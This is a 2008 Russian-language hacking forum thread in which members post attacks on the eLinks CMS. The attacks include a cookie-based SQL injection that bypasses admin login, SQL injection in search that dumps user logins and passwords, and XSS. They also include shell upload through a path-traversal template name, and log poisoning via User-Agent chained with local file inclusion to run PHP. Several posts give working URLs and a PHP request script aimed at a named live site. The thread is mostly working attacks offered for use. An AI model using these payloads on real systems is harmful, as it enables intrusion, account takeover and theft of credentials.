[eLinks] Vulnerabilities

Discussion in 'Веб-уязвимости' started by [х26]VОLАND, 12 Dec 2008.

  1. [х26]VОLАND

    [х26]VОLАND Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    513
    Likes Received:
    756
    Reputations:
    218
    [eLinks] Vulnerabilities

    Собственно, задание ROA#004 подтолкнуло к поиску багов в этой CMS.
    В этой теме предлагаю выкладывать баги найденные в ходе исследования исходников.


    ------------------------------------------------------------------------------
    #1 [ Обход авторизации ]
    Необходимое условие: magic_quotes_gpc = Off

    Первым делом я решил проверить панель логина админки (http://[elinks]/asm_admin.php) на предмет фильтрации полей. Но, к сожалению, все POST-данные фильтровались встроенной функцией setGPC.
    [core/asm_config.php]
    PHP:
    function setGPC (&$array)
    // begin function: setGPC
        
    foreach ($array as $key => $value) {
            if (
    true == is_array($value)) {
                
    setGPC($array[$key]);
            } else {
                
    $array[$key] = addslashes($value);
            }
        }
        
    reset($array);
    // end function: setGPC
    ---------------------------
    if (!
    get_magic_quotes_gpc()) {
        
    setGPC($_POST);
        
    reset($_POST);
    }
    Как мы видим, фильтруются только POST-данные, что не может не радовать. Тогда я принялся исследовать алгоритм аутентификации (опознавания пользователя).
    [core/asm_function.php]
    PHP:
    function auth ()
    {
        global 
    $api
        
    $session = @$_COOKIE['acore'];
        if (
    $session != '' && $session != '-1')
        {
            if (
    true == isset($_SESSION['user']['groups'])) { return true; }

            
    $rs $api->DB->query("SELECT * FROM asm_s_members WHERE session = '".$session."' LIMIT 1");
            
            if (
    $rs->count() == 1)
            {
                
    $_SESSION['user'] = $rs->row();
                
    $api->DB->query("UPDATE asm_s_members SET atime = '".time()."' WHERE session = '".$session."' LIMIT 1");
                return 
    true;
            }
        }
        
    setAuth(0);
        
    }
    Аутентификация осуществляется по COOKIE-переменной acore.
    Задав этой переменной значение
    word' OR member_id = '1
    Получаем запрос
    SELECT * FROM asm_s_members WHERE session = 'word' OR member_id = '1' LIMIT 1
    Так как сессии с именем 'word' существовать не может, происходит выборка данных администратора (member_id=1).
    Обновляем страницу и оказываемся в админке.
    В итоге, не зная даже логина, мы можем зайти под любым пользователем.
     
    5 people like this.
  2. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Ну я проходил без сорцов, поэтому получилось очень не красиво и геморно)

    #2 Слепая скуля в поиске
    Необходимое условие: magic_quotes_gpc = Off
    http://www.***.com/eLinks-search.php?action=search&word=asian'+or+1=1+and+substring(version(),1,1)=5--+1

    Заливка шелла:

    В админке заходим в редактор темплейтов, редактировать темплейты прав не хватает, но с его помощью можно создавать файлы:
    В сорцах в форме меняем скрытое поле с именем файла на: <input type="hidden" name="template_name" value="../../../../../home/tgp/***/links/1.php">
    Получаем шелл.
     
    #2 Grey, 12 Dec 2008
    Last edited: 12 Dec 2008
    3 people like this.
  3. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    xss:
    /v2/searcherror.php?errormsg=<script>alert(/asd/);</script>
     
    1 person likes this.
  4. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    xss
     
    1 person likes this.
  5. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134

    угу, только по дефолту там в
    ./modules/.htaccess

    PHP:
    Options -Indexes
    php_flag short_open_tag Off

    <Files *.php>
        
    Order deny,allow
        Deny from all
    </Files>

    <
    Files *.ini>
        
    Order deny,allow
        Deny from all
    </Files>

    <
    Files pub.*.php>
        
    Order deny,allow
        Allow from all
    </Files>
    так что по дефолту вряд ли такое пройдет =)
    теперь мое прохождение:

    Elinks LFI

    1. Логинимся в asm_admin.php с любым логином и паролем;

    2. получаем сообщение о неверном пароле, но, тем не менее, $_SESSION['user']['member_id']) становится равным 0

    3../core/asm_config.php
    PHP:
    if ( strpos($_SERVER['HTTP_USER_AGENT'], 'vdebug') ) { set_error_handler('error_handler'); }
    function 
    error_handler ($errno$errmsg$filename$linenum$vars)
    // BEGIN function
        
    if ($errno == 2048 || error_reporting() == 0) { return true; }
        
        
    $error_file $_SERVER['DOCUMENT_ROOT'].'/files/logs/error.xml';
        
    $_request_url = (true == isset($_SERVER['REQUEST_URI'])) ? 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] : 'http://'.$_SERVER['HTTP_HOST'].'/';
        
    $_http_referer = (true == isset($_SERVER['HTTP_REFERER'])) ? $_SERVER['HTTP_REFERER'] : '';
        
    $_remote_addr = (true == isset($_SERVER['REMOTE_ADDR'])) ? $_SERVER['REMOTE_ADDR'] : '';
        
    $_http_user_agent = (true == isset($_SERVER['HTTP_USER_AGENT'])) ? $_SERVER['HTTP_USER_AGENT'] : '';
        
    $error_content '
        <error date="'
    .date("Y-m-d H:i:s").'">
            <request_url>'
    .$_request_url.'</request_url>
            <http_referer>'
    .$_http_referer.'</http_referer>
            <remote_addr>'
    .$_remote_addr.'</remote_addr>
            <http_user_agent>'
    .$_http_user_agent.'</http_user_agent>
            <error_number>'
    .$errno.'</error_number>
            <error_message>'
    .$errmsg.'</error_message>
            <file_name>'
    .$filename.'</file_name>
            <line_number>'
    .$linenum.'</line_number>
        </error>
    </xml>'
    ;
        
    $fp = @fopen($error_file'r+');
        if (
    $fp) {
            
    $cursor_position filesize($error_file)-7;
            
    fseek($fp$cursor_position);
            
    fwrite($fp$error_content);
            
    fclose($fp);
        } else {
            
    $fp fopen($error_file'w');
            if (
    $fp) {
                
    fwrite($fp"<xml>\n".$error_content);
                
    fclose($fp);
            }
        }
    4. под этот код небольшой хттп-пакет с помощью скрипта
    PHP:
    <?

    set_time_limit (0);
    $site='yobt.com';
    $path='/asm_admin.php?update=1'

        
    $fp fsockopen($site80$errno$errstr30);    

            
    $out "GET $path HTTP/1.1\r\n";
            
    $out .= "Host: $site\r\n";
           
    $out .= "Content-type: application/x-www-form-urlencoded\r\n";
              
    $out .= "Connection: Close\r\n";
            
    $out .= "User-Agent: Opera vdebug <?php phpinfo() ?>\r\n"//тут наш код для инклуда
            
    $out .= "Referer: http://laa.com\r\n";

            
    $out .= "Cookie: 1=2;\r\n\r\n";

         
    fwrite($fp$out);

        while (!
    feof($fp)) 
    {
    print 
    fread($fp4800);
    }
    print 
    $out;


    ?>
    вместо asm_admin.php?update=1 другой любой файл, который генерирует ошибку похапе (для данного сайта подойдет http://yobt.com/asm.pornstars.search.php);

    5. наше пхпинфо, как и прописано в коде, добавляется в ./files/logs/error.xml;

    6. в ./asm_clean.php успешно проходим авторизацию
    PHP:
    if (isset($_SESSION['user']['member_id']) != '1' && SERVER_IP != $_SERVER['REMOTE_ADDR']) {
        die(
    'Access denied');
    }
    (так как логинились ранее в админке и переменная $_SESSION['user']['member_id'] существует);


    7. идем ниже по коду и видим
    PHP:
    if (false == isset($_GET['asm'])) { die('Map command not found'); }
    $file base64_decode($_GET['asm']);
    ...
    include(
    PATH.$file);
    8. остается только заинклудить наш error.xml =)
    по ссылке http://yobt.com/asm_clean.php?asm=L2ZpbGVzL2xvZ3MvZXJyb3IueG1s видим вывод пхпинфо (если, конечно, авторизовались, как я писал выше)
    ---------------
    Elinks arbitrary code execution
    (для данного сайта не подойдет, так как админы из дистрибутива удалили дефолтный файл ./core/asm_xml_content.php, но все же)
    1. ./core/asm_xml_content.php
    PHP:
    <?php
    error_reporting
    (7);
    $page = (true == isset($_GET['page'])) ? $_GET['page'] : 'index';
    $page $_SERVER['DOCUMENT_ROOT'].'/files/tpl/'.$page.'.xml';

    if (
    true == file_exists($page)) {
        
    $filemtime filemtime($page);
        
    $filemtime = ($filemtime 10000) ? $filemtime time()+3600;
        
    $fp fopen($page'r');
        
    $content fread($fpfilesize($page));
        
    fclose($fp);
        
    $content "?>".$content."<?php ";
        
    ob_start();
        eval (
    $content);
    2. Добавляем в ./files/error.xml наш похапе способом, описанным выше;
    3. Выполняем наш код через http://elinks/core/asm_xml_content.php?page=../logs/error
     
    #5 devscripts, 12 Dec 2008
    Last edited: 12 Dec 2008
    6 people like this.
  6. l-l00K

    l-l00K Banned

    Joined:
    26 Nov 2006
    Messages:
    233
    Likes Received:
    433
    Reputations:
    287
    Локальный инклуд

    core/xmlrpc.php
    PHP:
    $xmlrpc_server trim$_GET['xmlrpc_server'] );
    $uri parse_url$_SERVER['REQUEST_URI'] );
    if ( 
    $uri['query'] )
    {
        
    parse_str$uri['query'], $_GET );
    }
    if ( 
    true == is_filePATH."/modules/".$xmlrpc_server."/xmlrpc_server.php" ) )
    {
        include_once( 
    PATH."/modules/".$xmlrpc_server."/xmlrpc_server.php" );
    Как мы видим данные из $_GET['xmlrpc_server'] без какой-либо фильтрации попадают в инклуд
    Пример запроса:
    Code:
    http://www.yobt.com/core/xmlrpc.php?xmlrpc_server=eLinks/../../../../../../etc/passwd%00a
    Поскольку elinks записывает обращения к несуществующим страницам в файл, в него можно записать свой шелл(через user agent) и проиклудить:
    Code:
    http://www.yobt.com/core/xmlrpc.php?xmlrpc_server=../files/logs/log.404.txt%00a
     
    2 people like this.
  7. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    Залить шелл можно также через Content Manager->Content Blocks
    Добавляем новый блок:

    Name: whatever
    Alias: s.php
    Content: <?php phpinfo(); ?>
    Status: inactive

    Получаем шелл: /files/blocks/.s.php

    Правда на yobt.com не работало
     
    1 person likes this.
  8. l-l00K

    l-l00K Banned

    Joined:
    26 Nov 2006
    Messages:
    233
    Likes Received:
    433
    Reputations:
    287
    Еще одна скуля в поиске:
    Code:
    http://yobt.com/eLinks-search.php?action=result&word=asian&user_key=162280130111'+union+select%201,concat_ws(0x3a,user_login,user_pass),3,4+from+asm_s_members/*
     
  9. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Привет из РОА. Кому интересно, было перемещено очень много тем, но они ушли вниз по датам, можете покопаться в созданных у мемберов, теперь они видны.

    Ну а эту я апнул вот для чего:
    http://www.packetstormsecurity.org/0908-exploits/elinks-sqlxsslfi.txt

    Сравните темы. И это не единственная

    ====================
    Inj3ct0r чмоке тебя в счоке. Всё что ты выложил под своим именем у себя и ещё где, я из группы спустил в паблик, хакер, блин. Надеюсь по датам все всё видят сами
     
    1 person likes this.